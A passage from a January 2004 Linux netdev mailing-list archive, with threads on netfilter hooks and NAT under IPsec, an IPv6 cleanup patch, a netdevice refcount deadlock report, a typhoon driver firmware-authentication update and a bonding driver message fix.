thing, has the same aggregate rate, but can't play Quake because > of high latency. It works wonderfully. > > I suppose we can have a flavor of wrr that will not queue packets, > only find over-active flows and mark or drop over-profile packets > but 1) no such thing exist AFAIK and 2) it will not have separate > queue for each user/flow, thus all flows will have same latency, > only drop probabilities will differ. > > So, it seems to me that IMQ fits nicely when there're some artificial > bandwidth limits (as opposed to bandwidth of some physical interface) > and no single egress interface for all flows to be shaped. Look at that sample and then lets discuss further. I spent a long time typing it (and wanna catch up with other email). I think we may be gettin close. cheers, jamal From laforge@netfilter.org Wed Jan 28 01:04:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 01:04:44 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S94Q7J007611 for ; Wed, 28 Jan 2004 01:04:29 -0800 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:RC4-SHA:128) (Exim 4.20) id 1AllcW-0006n0-FL; Wed, 28 Jan 2004 10:04:24 +0100 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.22) id 1AllWp-0006Mq-39; Wed, 28 Jan 2004 09:58:31 +0100 Date: Wed, 28 Jan 2004 09:58:31 +0100 From: Harald Welte To: Andreas Jellinghaus Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: NAT before IPsec with 2.6 Message-ID: <20040128085831.GM11761@sunbeam.de.gnumonks.org> Mail-Followup-To: Harald Welte , Andreas Jellinghaus , netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <20040124082252.GA19035@alpha.home.local> <20040124092721.GA19140@alpha.home.local> <20040127103917.GC11761@sunbeam.de.gnumonks.org> <20040127132725.GA14685@openoffice.nl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="w+rhPQc/K9ract27" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.4i X-archive-position: 2851 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 4702 Lines: 123 --w+rhPQc/K9ract27 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Cc'ing netdev, since this is now a very clear proposal and not some internal netfilter rambling. On Tue, Jan 27, 2004 at 10:13:33PM +0100, Andreas Jellinghaus wrote: > > This is what happens with incoming packets: they hit INPUT twice. >=20 > yes, but once before and once after decryption. use either fwmark > or an ipip tunnel interface to destinguish between already decrypted > and was-never-encrypted packets.=20 yes, and this is desired. However, the packets also hit PREROUTING twice, which is exactly what we want (and get it for free, since xfrm4_input.c calls netif_rx() again). =20 However, it doesn't reset the skb->nfct pointer, so connection tracking sees both encapsulated and decapsulated packet as belonging to the same connection. This is wrong, and dangerous (application helpers might be called for the encapsulated traffic, which now has a completely different layer 4 protocol. So with stock 2.6.x you have=20 - no working connection tracking in any kind of ipsec scenario - conntrack and NAT helpers trying to find readable application data within already-encrypted packets - no working DNAT/SNAT, mainly because of not-working connection tracking > > On output, however, things are not so transparant. A packet hits OUTPUT, > > then gets encrypted. A totally different packet hits POSTROUTING. This = makes > > no sense. >=20 > use an interface, and you will see the packet twice, plus the interface > does the route lookup on the encrypted packet. so no ugly hacks in the > routing table are necessary. Did anybody propose ugly hacks in the routing table? > [symetry] >=20 > that does not work: > netfilter wants NAT to be the first thing for incoming packets > and the last thing for outgoing packets. thats symetry. yes, it is symmetric. As is the symmetry between prerouting/postrouting and input/output hooks. As well as the symmetry between SNAT and DNAt, =2E.. > but you want ipsec encryption and decryption as soon as possible: > both before looking at the routing table. Yes, that's why what IPsec is doing for incoming ESP/AH packets the right thing: go through PRE_ROUTING, route to LOCAL_IN, decapsulate, and start over again. However, for outgoing ESP/AH packets (locally-encapsulated), it doesn't show the symmetric behaviour of what it does on the input side: go through FORWARD, encapsulate, route, POST_ROUTING. No starting over. So we absolutely _need_ a symmetric-to-incoming behaviour like: a) for locally-originated packets LOCAL_OUT, POST_ROUTING, encapsulate, LOCAL_OUT, POST_ROUTING. b) for forwarded, locally-encapsulated packets PRE_ROUTING, FORWARD, POST_ROUTING, encapsulate, LOCAL_OUT, POST_ROUTING. No, we don't achieve this by manipulating the routing code, but by placing the respective hooks in ah{4,6}.c and esp{4,6}.c {ah,esp}_output() function respectively. We also need to (again) reset the skb->nfct and drop the conntrack reference again. This way we=20 1) make connection tracking work again 2) do not change any routing of the current implementation 3) enable users to a) filter unencapsulated, encapsulated and decapsulated packeets at their 'expected' place b) do DNAT on the incoming decapsulated packets (which doesn't work right now, but should) c) do SNAT on the outgoing/forwarded to-be-encapsualated packets (which doesn't work right now, but should) > mixing those two will never result in symetry. if you try it > (routing before encapsulation), the result has problems. I'm not proposing to route before encapsulating. I just propose of calling the same netfilter functions that we usually call before/after routing at different places :) > Andreas --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --w+rhPQc/K9ract27 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQFAF3m3XaXGVTD0i/8RAqxuAJ4/Bsih+JQeaQ0TGsrVTWAnVKhmqACePVOc M2GMr44fYlnKW5RM4SKJ5iA= =324Q -----END PGP SIGNATURE----- --w+rhPQc/K9ract27-- From hch@infradead.org Wed Jan 28 01:41:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 01:41:27 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S9fC7J009060 for ; Wed, 28 Jan 2004 01:41:13 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1AlmC2-0006oV-3U; Wed, 28 Jan 2004 09:41:06 +0000 Date: Wed, 28 Jan 2004 09:41:06 +0000 From: Christoph Hellwig To: Andrew Morton Cc: linux-kernel@vger.kernel.org, linux-mm@kvack.org, netdev@oss.sgi.com Subject: Re: 2.6.2-rc2-mm1 Message-ID: <20040128094106.A26158@infradead.org> Mail-Followup-To: Christoph Hellwig , Andrew Morton , linux-kernel@vger.kernel.org, linux-mm@kvack.org, netdev@oss.sgi.com References: <20040127233402.6f5d3497.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040127233402.6f5d3497.akpm@osdl.org>; from akpm@osdl.org on Tue, Jan 27, 2004 at 11:34:02PM -0800 X-archive-position: 2852 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 229 Lines: 6 On Tue, Jan 27, 2004 at 11:34:02PM -0800, Andrew Morton wrote: > Jeff's tree: netdev.patch Any plan when we'll get the damn netdev lifetime rule fixes merged? They're real life problems and have been around for a long time.. From pekkas@netcore.fi Wed Jan 28 02:57:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 02:57:58 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SAvh7J013638 for ; Wed, 28 Jan 2004 02:57:44 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0SAvRY21314; Wed, 28 Jan 2004 12:57:27 +0200 Date: Wed, 28 Jan 2004 12:57:27 +0200 (EET) From: Pekka Savola To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= cc: davem@redhat.com, Subject: Re: [PATCH 1/2] IPV6: use ipv6_addr_any() In-Reply-To: <20040128.163043.120256112.yoshfuji@linux-ipv6.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 2854 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 1504 Lines: 40 On Wed, 28 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > Use simple ipv6_addr_any() > where ipv6_addr_type() is called only to check for unspecified address. Speakign of which, should it be better to change this to _unspecified if we're changing this as one could be led to believe that "any" refers to "any IPv6 address" which is obviously not the case. > ===== net/ipv6/af_inet6.c 1.60 vs edited ===== > --- 1.60/net/ipv6/af_inet6.c Thu Jan 22 15:38:40 2004 > +++ edited/net/ipv6/af_inet6.c Wed Jan 28 16:11:31 2004 > @@ -464,7 +464,7 @@ > if (np->sndflow) > sin->sin6_flowinfo = np->flow_label; > } else { > - if (ipv6_addr_type(&np->rcv_saddr) == IPV6_ADDR_ANY) > + if (ipv6_addr_any(&np->rcv_saddr)) > ipv6_addr_copy(&sin->sin6_addr, &np->saddr); > else > ipv6_addr_copy(&sin->sin6_addr, &np->rcv_saddr); > ===== net/ipv6/ndisc.c 1.64 vs edited ===== > --- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 > +++ edited/net/ipv6/ndisc.c Wed Jan 28 16:13:21 2004 > @@ -544,7 +544,7 @@ > } > > len = sizeof(struct icmp6hdr) + sizeof(struct in6_addr); > - send_llinfo = dev->addr_len && ipv6_addr_type(saddr) != IPV6_ADDR_ANY; > + send_llinfo = dev->addr_len && !ipv6_addr_any(saddr); > if (send_llinfo) > len += NDISC_OPT_SPACE(dev->addr_len); > > > -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From willy@w.ods.org Wed Jan 28 03:35:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 03:35:46 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SBZU7J016109 for ; Wed, 28 Jan 2004 03:35:31 -0800 Date: Wed, 28 Jan 2004 12:34:41 +0100 From: Willy Tarreau To: netdev@oss.sgi.com Cc: jgarzik@pobox.com, davem@redhat.com, Alexandre.Cassen@wanadoo.fr Subject: Deadlock problem with dev->refcnt somewhere in netlink/multicast... Message-ID: <20040128113441.GA12118@alpha.home.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 2857 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 3752 Lines: 81 Hello, as previously discussed in private with Jeff and David, I encounter a deadlock problem somewhere in netlink in 2.4 kernels since at least 2.4.21 to 2.4.25-pre7. At first I thought it was related to the TG3 driver that I was using, but after many steps in the wrong direction, I could finally find an easy way to reproduce it on other NICs (e1000 & 3c59x). I have added lots of traces in the kernel to track the dev->refcnt changes, but I now need help to understand what I gathered. For this, you need an application which binds to a multicast address. Since I've been noticing the problem on keepalived at first, I'm sticking to it for this example, but I just could reproduce the same problem with ntpd a few minutes ago. The problem is the following : 1/ configure an interface up with an address 2/ start keepalived. Keepalived registers itself to receive netlink broadcasts (link and address groups), and sets a multicast address for VRRP on the interfaces. 3/ now flush all addresses on this interface 4/ then put the link down 5/ then stop keepalived 6/ now rmmod => it hangs in unregister_netdevice() with dev->refcnt=2 now simply change the order of operations between 3 and 4 (addr vs link) : 1/ configure an interface up with an address 2/ start keepalived. 3/ then put the link down 4/ now flush all addresses on this interface 5/ then stop keepalived 6/ now rmmod => no problem at all Stopping keepalived after the ip link down or ip addr flush is OK too. I have tried suggestions by Alexandre Cassen to disable either link or address group registration in keepalived, but it did not change anything at all. I even set the group to zero, but the problem persists, which led me to try ntp to confirm that this was a multicast problem in fact. Anyway, "ip monitor" does not cause this trouble. So I'm now certain that just listening to netlink broadcasts does not causes this problem. BTW, If I manually delete the addresses by hand instead of flushing them, it does not work either. Oh, and I noticed that when I flush all IP addresses on an interface, the interface disappears from "ip maddr", so I suspect that someone in the address deletion code does something nasty with the mcast addresses, but I cannot find what. So I put lots of printk's in the kernel to track dev->refcnt at several places, and I now have the following traces, with all printk(refcnt), not displayed here, and along with diffs between them. The end of the name tells the order of removal : A=addr, L=link, K=keepalived. So "trace.kal" describes the following operations, where keepalived was stopped, then the address was flushed, then the link was set down : root: ##### TRACE ##### modprobe e1000 root: ##### TRACE ##### ip addr root: ##### TRACE ##### ip addr add 1.2.3.0/24 dev eth2 root: ##### TRACE ##### ip addr root: ##### TRACE ##### ip link set eth2 up root: ##### TRACE ##### keepalived --vrrp -f /var/state/vrrp.conf root: ##### TRACE ##### ip addr root: ##### TRACE ##### ip addr flush dev eth2 root: ##### TRACE ##### ip link set eth2 down root: ##### TRACE ##### killall keepalived root: ##### TRACE ##### ip addr root: ##### TRACE ##### rmmod e1000 Since there are important differences between logs, and it's been several days I spent on the problem, I think that there is something obvious in front of me that I cannot see. I have uploaded the traces and the side-by-side diffs on this site (not posted because they're about 10kB each) : http://w.ods.org/debug/pb-mcast/ I really hope that someone with better knowledge will be able either to point to the problem, or to narrow the problem so that I have some clues where to add traces or what to try, because I'm really out of ideas now. Thanks in advance, Willy From yoshfuji@linux-ipv6.org Wed Jan 28 04:10:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 04:10:27 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SCA27J019206 for ; Wed, 28 Jan 2004 04:10:02 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 54FFB33CA5; Wed, 28 Jan 2004 20:29:55 +0900 (JST) Date: Wed, 28 Jan 2004 20:29:55 +0900 (JST) Message-Id: <20040128.202955.118179192.yoshfuji@linux-ipv6.org> To: pekkas@netcore.fi Cc: davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH 1/2] IPV6: use ipv6_addr_any() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040128.163043.120256112.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2858 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 793 Lines: 17 In article (at Wed, 28 Jan 2004 12:57:27 +0200 (EET)), Pekka Savola says: > On Wed, 28 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > > Use simple ipv6_addr_any() > > where ipv6_addr_type() is called only to check for unspecified address. > > Speakign of which, should it be better to change this to _unspecified > if we're changing this as one could be led to believe that "any" > refers to "any IPv6 address" which is obviously not the case. I don't think we need to change the name for now. It however should be done by another patch if it is better to be changed. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From dave@thedillows.org Wed Jan 28 04:40:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 04:40:24 -0800 (PST) Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SCe87J023283 for ; Wed, 28 Jan 2004 04:40:09 -0800 Received: from ori.thedillows.org (pcp03710388pcs.westk01.tn.comcast.net[68.34.200.110]) by comcast.net (sccrmhc11) with ESMTP id <2004012705360001100j9i3re>; Tue, 27 Jan 2004 05:36:00 +0000 Received: from ori.thedillows.org (localhost.thedillows.org [127.0.0.1]) by ori.thedillows.org (8.12.8/8.12.8) with ESMTP id i0R5ZxUP013795; Tue, 27 Jan 2004 00:36:00 -0500 Received: (from il1@localhost) by ori.thedillows.org (8.12.8/8.12.8/Submit) id i0R5ZxaV013793; Tue, 27 Jan 2004 00:35:59 -0500 X-Authentication-Warning: ori.thedillows.org: il1 set sender to dave@thedillows.org using -f Subject: [BK] Updated 2.6 typhoon driver for 3CR990 & 3CR990B cards From: David Dillow To: Jeff Garzik Cc: Netdev Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1075179543.4987.7.camel@ori.thedillows.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 27 Jan 2004 00:35:59 -0500 X-archive-position: 2859 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dave@thedillows.org Precedence: bulk X-list: netdev Content-Length: 3796 Lines: 112 [ I've not sent patches to the list, as the firmware update is too big. ] Jeff, please do a bk pull http://typhoon.bkbits.net/typhoon-2.5 This will update the following files: drivers/net/typhoon-firmware.h | 6890 +++++++++++++++++++++-------------------- drivers/net/typhoon.c | 20 drivers/net/typhoon.h | 6 3 files changed, 3563 insertions(+), 3353 deletions(-) through these ChangeSets: (03/12/15 1.1488) Support the new 3CR990B cards that require authentication of the runtime firmware image. And the non-firmware part is: diff -Nru a/drivers/net/typhoon.c b/drivers/net/typhoon.c --- a/drivers/net/typhoon.c Mon Jan 26 22:58:36 2004 +++ b/drivers/net/typhoon.c Mon Jan 26 22:58:36 2004 @@ -85,8 +85,8 @@ #define PKT_BUF_SZ 1536 #define DRV_MODULE_NAME "typhoon" -#define DRV_MODULE_VERSION "1.5.2" -#define DRV_MODULE_RELDATE "03/11/25" +#define DRV_MODULE_VERSION "1.5.3" +#define DRV_MODULE_RELDATE "03/12/15" #define PFX DRV_MODULE_NAME ": " #define ERR_PFX KERN_ERR PFX @@ -157,6 +157,7 @@ TYPHOON_TX = 0, TYPHOON_TX95, TYPHOON_TX97, TYPHOON_SVR, TYPHOON_SVR95, TYPHOON_SVR97, TYPHOON_TXM, TYPHOON_BSVR, TYPHOON_FX95, TYPHOON_FX97, TYPHOON_FX95SVR, TYPHOON_FX97SVR, + TYPHOON_FXM, }; /* directly indexed by enum typhoon_cards, above */ @@ -185,6 +186,8 @@ TYPHOON_CRYPTO_DES | TYPHOON_FIBER}, { "3Com Typhoon (3CR990-FX-97 Server)", TYPHOON_CRYPTO_DES | TYPHOON_CRYPTO_3DES | TYPHOON_FIBER}, + { "3Com Typhoon2 (3C990B-FX-97)", + TYPHOON_CRYPTO_VARIABLE | TYPHOON_FIBER}, }; /* Notes on the new subsystem numbering scheme: @@ -203,6 +206,8 @@ { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990B, PCI_ANY_ID, 0x1000, 0, 0, TYPHOON_TXM }, { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990B, + PCI_ANY_ID, 0x1102, 0, 0, TYPHOON_FXM }, + { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990B, PCI_ANY_ID, 0x2000, 0, 0, TYPHOON_BSVR }, { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990_FX, PCI_ANY_ID, 0x1101, 0, 0, TYPHOON_FX95 }, @@ -1363,6 +1368,7 @@ u32 section_len; u32 len; u32 load_addr; + u32 hmac; int i; int err; @@ -1406,6 +1412,16 @@ writel(TYPHOON_INTR_BOOTCMD, ioaddr + TYPHOON_REG_INTR_STATUS); writel(load_addr, ioaddr + TYPHOON_REG_DOWNLOAD_BOOT_ADDR); + hmac = le32_to_cpu(fHdr->hmacDigest[0]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_0); + hmac = le32_to_cpu(fHdr->hmacDigest[1]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_1); + hmac = le32_to_cpu(fHdr->hmacDigest[2]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_2); + hmac = le32_to_cpu(fHdr->hmacDigest[3]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_3); + hmac = le32_to_cpu(fHdr->hmacDigest[4]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_4); typhoon_post_pci_writes(ioaddr); writel(TYPHOON_BOOTCMD_RUNTIME_IMAGE, ioaddr + TYPHOON_REG_COMMAND); diff -Nru a/drivers/net/typhoon.h b/drivers/net/typhoon.h --- a/drivers/net/typhoon.h Mon Jan 26 22:58:36 2004 +++ b/drivers/net/typhoon.h Mon Jan 26 22:58:36 2004 @@ -512,6 +512,7 @@ u32 version; u32 numSections; u32 startAddr; + u32 hmacDigest[5]; } __attribute__ ((packed)); struct typhoon_section_header { @@ -548,6 +549,11 @@ #define TYPHOON_REG_BOOT_LENGTH TYPHOON_REG_HOST2ARM1 #define TYPHOON_REG_DOWNLOAD_BOOT_ADDR TYPHOON_REG_HOST2ARM1 +#define TYPHOON_REG_DOWNLOAD_HMAC_0 TYPHOON_REG_HOST2ARM2 +#define TYPHOON_REG_DOWNLOAD_HMAC_1 TYPHOON_REG_HOST2ARM3 +#define TYPHOON_REG_DOWNLOAD_HMAC_2 TYPHOON_REG_HOST2ARM4 +#define TYPHOON_REG_DOWNLOAD_HMAC_3 TYPHOON_REG_HOST2ARM5 +#define TYPHOON_REG_DOWNLOAD_HMAC_4 TYPHOON_REG_HOST2ARM6 #define TYPHOON_REG_BOOT_RECORD_ADDR_HI TYPHOON_REG_HOST2ARM2 #define TYPHOON_REG_BOOT_RECORD_ADDR_LO TYPHOON_REG_HOST2ARM1 From willy@w.ods.org Wed Jan 28 05:05:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 05:05:53 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SD5c7J024430 for ; Wed, 28 Jan 2004 05:05:39 -0800 Date: Wed, 28 Jan 2004 14:04:56 +0100 From: Willy Tarreau To: marcelo.tosatti@cyclades.com Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH-2.4] add missing '\n' in bonding messages Message-ID: <20040128130456.GA12362@alpha.home.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 2860 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 2041 Lines: 60 Hi, there are a few places where the bonding driver displays informational messages without the trailing '\n', which is sometimes annoying because messages get logged at the wrong level. Here's the patch against 2.4.25-pre7. I haven't checked 2.6 nor the bonding cleanup patch against those typos. Regards, Willy diff -urN linux-2.4.25-pre7/drivers/net/bonding/bond_main.c linux-2.4.25-pre7-bondfix/drivers/net/bonding/bond_main.c --- linux-2.4.25-pre7/drivers/net/bonding/bond_main.c Sat Nov 22 16:55:37 2003 +++ linux-2.4.25-pre7-bondfix/drivers/net/bonding/bond_main.c Wed Jan 28 13:58:22 2004 @@ -1712,7 +1712,7 @@ * all 0's. */ #ifdef BONDING_DEBUG - printk(KERN_DEBUG "%s doesn't have a MAC address yet. ", + printk(KERN_DEBUG "%s doesn't have a MAC address yet.\n", master_dev->name); printk(KERN_DEBUG "Going to give assign it from %s.\n", slave_dev->name); @@ -2311,7 +2311,7 @@ printk(KERN_INFO "%s: link status definitely down " - "for interface %s, disabling it", + "for interface %s, disabling it.\n", master->name, dev->name); @@ -2524,7 +2524,7 @@ if (oldcurrent == NULL) { printk(KERN_INFO "%s: link status definitely up " - "for interface %s, ", + "for interface %s.\n", master->name, slave->dev->name); do_failover = 1; @@ -2733,7 +2733,7 @@ slave->link_failure_count++; } printk(KERN_INFO "%s: link status down for " - "active interface %s, disabling it", + "active interface %s, disabling it.\n", master->name, slave->dev->name); write_lock(&bond->ptrlock); @@ -4101,7 +4101,7 @@ if (max_bonds < 1 || max_bonds > INT_MAX) { printk(KERN_WARNING "bonding_init(): max_bonds (%d) not in range %d-%d, " - "so it was reset to BOND_DEFAULT_MAX_BONDS (%d)", + "so it was reset to BOND_DEFAULT_MAX_BONDS (%d)\n", max_bonds, 1, INT_MAX, BOND_DEFAULT_MAX_BONDS); max_bonds = BOND_DEFAULT_MAX_BONDS; } From laforge@netfilter.org Wed Jan 28 05:06:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 05:07:00 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SD6i7J024657 for ; Wed, 28 Jan 2004 05:06:45 -0800 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:RC4-SHA:128) (Exim 4.20) id 1AlpP1-00080J-Dr; Wed, 28 Jan 2004 14:06:43 +0100 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.22) id 1AlpJK-0000dk-Vi; Wed, 28 Jan 2004 14:00:50 +0100 Date: Wed, 28 Jan 2004 14:00:50 +0100 From: Harald Welte To: Andreas Jellinghaus Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: NAT before IPsec with 2.6 Message-ID: <20040128130050.GS11761@sunbeam.de.gnumonks.org> Mail-Followup-To: Harald Welte , Andreas Jellinghaus , netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <20040124082252.GA19035@alpha.home.local> <20040124092721.GA19140@alpha.home.local> <20040127103917.GC11761@sunbeam.de.gnumonks.org> <20040127132725.GA14685@openoffice.nl> <20040128085831.GM11761@sunbeam.de.gnumonks.org> <1075285293.5055.29.camel@simulacron> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="GdipSGKQZT5VYjAa" Content-Disposition: inline In-Reply-To: <1075285293.5055.29.camel@simulacron> User-Agent: Mutt/1.5.4i X-archive-position: 2861 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 4414 Lines: 121 --GdipSGKQZT5VYjAa Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jan 28, 2004 at 11:21:34AM +0100, Andreas Jellinghaus wrote: > On Wed, 2004-01-28 at 09:58, Harald Welte wrote: > > However, it doesn't reset the skb->nfct pointer, >=20 > the tunnels do.=20 yes, I'm well aware of that. > In summary it looks to me, like you want to have everything that a > real tunnel with an interface offers, but for some reason you don't > want the tunnel with the interface. right? > so, why? Because it's needed for interoperability with other IPsec implementations, in other words if you are not running Linux on both ends. Yes, I know... in an ideal world everybody would run linux on both ends... but if you do: Why use IPsec at all, if not for interoperability. > > - no working connection tracking in any kind of ipsec scenario s/ipsec scen/plain non-tunnel ipsec scen/ > > Did anybody propose ugly hacks in the routing table? > > if you don't use an interface, you need them in real world setups. oh well, what you are describing are entries in the routing table, that's fine. I thought you were talking about hacking the routing code. > and swithcing from wlan0 to eth0 does not only require > the tunnel to be reconfigured (local and remote ip), but > also changes in the routing table. that is horrible. well, this is just like the 2.6.x ipsec implementation is like. It's not the netfilter project's will or task to change that implementation. We just want to get the same netfilter/iptables functionality, independent of somebody using ipsec or not. > > So we absolutely _need_ a symmetric-to-incoming behaviour like: >=20 > use an tunnel interface and you have that. yes, but as stated above, other implementations might not be able to work with that implementation. > sure, you can archive the same thing without using tunnel interfaces. > But i wonder if that creates a simple solution, easy to understand. Unfortunately there is no simple or easy solution. We just want to get it working at all. > my basic question is: how will these changes affect setups with tunnel > interfaces?=20 I think you would see the packet even more often: 1) LOCAL_OUT of original packet=20 2) POST_ROUTING of original packet 3) LOCAL_OUT of tunnelled packet 4) POST_ROUTING of tunneled packet 5) LOCAL_OUT of ESP/AH packet 6) POST_ROUTING of ESP/AH packet > [other issue] > if we are to look at the calls to xfrm anyway: would it be possible to > add a debugging facility for dropped packets? I know, that is not a > netfilter 